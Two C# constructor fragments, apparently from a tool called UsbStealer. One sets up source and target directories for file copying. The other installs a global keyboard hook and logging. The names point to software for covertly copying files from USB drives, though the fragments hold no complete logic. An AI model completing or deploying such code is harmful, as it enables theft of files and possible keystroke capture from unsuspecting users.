internal FileTransfer(string inputPath, string outputPath, FileTransfererSettings fileTransfererSettings) { SourceDirectory = new DirectoryInfo(inputPath); TargetDirectory = new DirectoryInfo(outputPath); FileTransferSettings = fileTransfererSettings; InstanceId = Guid.NewGuid(); }
public UsbStealer(NewLogMessageAppended onNewLogMessageAppended) { _keyboardHook = new KeyboardHook(); _keyboardHook.OnKeyPressed += _keyboardHook_OnKeyPressed; _keyboardHook.HookKeyboard(); OnNewLogMessageAppended += onNewLogMessageAppended; Logger.OnNewLogMessageAppended += OnOnNewLogMessageAppended; Logger.Append(new Message(Message.EventTypes.Info, "Initialized.")); FileTransferSettings = new FileTransfererSettings(); }